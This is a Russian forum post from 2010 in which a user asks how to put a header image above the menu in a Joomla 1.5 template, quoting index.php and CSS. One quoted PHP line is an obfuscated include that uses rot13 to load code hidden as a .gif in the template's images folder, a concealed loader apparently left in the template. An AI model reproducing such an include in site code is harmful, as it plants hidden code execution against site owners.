Joomla 1.5 Переделываю статичный шаблон в резиновый. Как сделать шапку сайта выше меню? изначально выше меню то

Тема в разделе "Изменение шаблона (кастомизация)", создана пользователем SabrinaBu, 17.02.2010.

  1. SabrinaBu
    Offline

    SabrinaBu Недавно здесь

    Регистрация:
    30.10.2009
    Сообщения:
    2
    Симпатии:
    0
    Пол:
    Женский
    Здравствуйте!
    Передо мной стоит задача переделать шаблон themza_j15_40 из статичного в резиновый. Изначально он выглядит вот так:
    [​IMG]

    Здесь видно, что изображение (header) располагается под меню.
    Что нужно сделать, что бы эта картинка оказалась сверху? и выступало в роли шапки..
    для меня это принципиально..


    Я, уж не знаю на сколько корректно, сделала шаблон частично резиновым и на данный момент имею вот такой промежуточный вариант:
    [​IMG]

    Выше меню у меня позиция user4. Именно туда и пробывала воткнуть картинку, однако она совсем не хочет отображаться
    Однако! если я в браузере ввожу www.mysite.ru/?tp=1 то вижу следующую картину:
    [​IMG]
    отображается


    вот кусок кода из index.php
    Код (PHP):
    1. </head>
    2. <body id="page_bg">
    3. <a name="up" id="up"></a>
    4. <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
    5. <jdoc:include type="modules" name="layout" style="table" />
    6. <?php endif; ?>
    7. <?php include('functions.php'); ?>
    8. <div style="width:100%; margin:0px auto;"><?php if($this->countModules('user4')) : ?><div id="user4"><jdoc:include type="modules" name="user4" /></div><?php endif; ?></div><br clear="all" />
    9.  
    10. <div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div></div>
    11. <div id="main_bg">



    А вот из template.css (header и всё, что рядышком):
    Код (html):
    1. #page_bg {
    2.         padding:0;  
    3.     margin:0;
    4.         margin-bottom: 0px;
    5.                
    6.    
    7. }
    8.  
    9.  
    10. #header {
    11. background-color:#e5e5e5;
    12. background-image:url(../images/header.jpg);
    13. background-position:center 0;
    14. background-repeat:no-repeat;
    15. float:left;
    16. height:274px;
    17. margin:0;
    18. padding:0;
    19. width:100%;
    20. }
    21.  
    22.  
    23.  
    24. div#top_menu{
    25.     height:54px;
    26.     margin:0px auto;
    27.     width: 100%; background: #E5E5E5;




    и для user4:
    Код (html):
    1. div#user4{
    2.         width:100%;
    3.         height:274px;
    4.         float:left;
    5.         margin:0;
    6.         padding:0;
    7.     background-color:#e5e5e5;
    8.         background-image:url(../images/header.jpg);
    9.         background-position:center 0;
    10.         background-repeat:no-repeat;


    В общем, мне оооочень важно, что бы шапка была выше меню!!:)
    Подскажите, пожалуйста, как сие реализовать!! Буду ОЧЕНЬ благодарна!!

    заранее спасибо:)
     
    SabrinaBu, 17.02.2010
    #1

  2. Наши спонсоры

     
< текст снизу страницы | При добавлении отступов от картинок (img) разваливается шаблон >

Поделиться этой страницей

Загрузка...